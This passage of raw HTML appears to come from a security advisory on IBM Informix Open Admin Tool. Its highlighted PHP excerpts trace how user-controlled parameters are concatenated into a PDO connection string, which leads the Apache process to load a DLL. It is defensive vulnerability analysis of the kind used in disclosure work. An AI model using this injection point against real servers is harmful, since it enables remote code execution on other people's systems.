class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">host<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798562025847334-12\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">port<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">connectionObj<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">port<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798562025847334-13\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">servername<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">connectionObj<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">servername<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798562025847334-14\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">user<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">connectionObj<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">user<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798562025847334-15\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">pass<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">connectionObj<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">password<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798562025847334-16\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">protocol<\/span><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">connectionObj<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">protocol<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798562025847334-17\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">dbname<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;sysadmin&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798562025847334-18\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798562025847334-19\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">db<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">soapdb<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">host<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">port<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">servername<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">protocol<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">dbname<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">user<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">pass<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798562025847334-20\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">stmt<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">db<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">query<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">qry<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798562025847334-21\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798562025847334-22\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">while<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">row<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">stmt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">fetch<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798562025847334-23\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798562025847334-24\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">ret<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">implode<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;|&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">row<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798562025847334-25\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798562025847334-26\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">ret<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798562025847334-27\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/\/ end doDatabaseWork<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798562025847334-28\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0046 seconds] -->  <\/p>\n<p>At [2] the &#8216;<em>soapdb<\/em>&#8216; class is instantiated with controlled parameters<\/p>\n<p><em>__construct()<\/em> method from <em>C:Program Files (x86)IBM Informix Software BundleOATApache_2.2.22htdocsopenadminservicesadminapisoapdb.php<\/em><\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5924b59798565026571278\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &#8230;  \/* function __construct   * constructor   *\/          function __construct($host,$port,$servername,$protocol=&#8221;onsoctcp&#8221;,$dbname=&#8221;sysmaster&#8221;,$user=&#8221;&#8221;,$passwd=&#8221;&#8221;)        {  \t  \t#$persist = array( PDO::ATTR_PERSISTENT =&gt; false);  \t$persist = array( PDO::ATTR_PERSISTENT =&gt; true);  \tputenv(&#8220;INFORMIXCONTIME=3&#8221;);  \tputenv(&#8220;INFORMIXCONRETRY=1&#8221;);    $informixdir= getenv(&#8220;INFORMIXDIR&#8221;);  $dsn = &lt;&lt;&lt;EOF  informix:host={$host};service={$port};database={$dbname};server={$servername};protocol={$protocol}; &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; [3]  EOF;          try {            parent::__construct($dsn,$user,utf8_decode($passwd),$persist); &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- [4]        } catch(PDOException $e) {                 throw new SoapFault(&#8220;Connection Failed:&#8221;,&#8221;DSN:{$dsn} ERROR:{$e-&gt;getMessage()}&#8221;);        }          } #end ___construct  &#8230;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798565026571278-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798565026571278-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798565026571278-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798565026571278-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798565026571278-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798565026571278-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798565026571278-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798565026571278-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798565026571278-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798565026571278-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798565026571278-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798565026571278-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798565026571278-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798565026571278-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798565026571278-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798565026571278-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798565026571278-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798565026571278-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798565026571278-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798565026571278-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798565026571278-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798565026571278-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798565026571278-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798565026571278-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798565026571278-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798565026571278-26\">26<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5924b59798565026571278-1\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798565026571278-2\"><span class=\"crayon-c\">\/* function __construct<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798565026571278-3\"><span class=\"crayon-c\"> * constructor<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798565026571278-4\"><span class=\"crayon-c\"> *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798565026571278-5\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798565026571278-6\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">__construct<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">host<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">port<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">servername<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">protocol<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;onsoctcp&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">dbname<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;sysmaster&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">user<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">passwd<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798565026571278-7\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798565026571278-8\"><span class=\"crayon-h\">\t<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798565026571278-9\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-p\">#$persist = array( PDO::ATTR_PERSISTENT =&gt; false);<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798565026571278-10\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">persist<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">PDO<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">ATTR_PERSISTENT<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">true<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798565026571278-11\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">putenv<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;INFORMIXCONTIME=3&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798565026571278-12\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">putenv<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;INFORMIXCONRETRY=1&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798565026571278-13\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798565026571278-14\"><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">informixdir<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">getenv<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;INFORMIXDIR&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798565026571278-15\"><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">dsn<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;&lt;&lt;<\/span><span class=\"crayon-e\">EOF<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798565026571278-16\"><span class=\"crayon-v\">informix<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-v\">host<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">host<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-v\">service<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">port<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-v\">database<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">dbname<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-v\">server<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">servername<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-v\">protocol<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">protocol<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798565026571278-17\"><span class=\"crayon-v\">EOF<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798565026571278-18\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798565026571278-19\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">try<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798565026571278-20\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">parent<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">__construct<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">dsn<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">user<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-e\">utf8_decode<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">passwd<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">persist<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798565026571278-21\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">catch<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-i\">PDOException<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">e<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798565026571278-22\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">throw<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">SoapFault<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Connection Failed:&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-s\">&#8220;DSN:{$dsn} ERROR:{$e-&gt;getMessage()}&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798565026571278-23\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798565026571278-24\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798565026571278-25\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-p\">#end ___construct<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798565026571278-26\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0037 seconds] -->  <\/p>\n<p>at [3] a connection string is concatenated with user-controlled parameters<\/p>\n<p>at [4] <em>PDO::__construct()<\/em> is called, then the dll is loaded by the Apache process.<\/p>\n<div class=\"printfriendly pf-alignleft\"><a href=\"#\" rel=\"nofollow\" onclick=\"window.print(); return false;\" class=\"noslimstat\"><img decoding=\"async\" style=\"border:none;-webkit-box-shadow:none; box-shadow:none;\" src=\"https:\/\/cdn.printfriendly.com\/pf-button.gif\" alt=\"Print Friendly\" \/><\/a><\/div>\n<\/div><\/div>\n<p><a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3210\" target=\"bwo\" 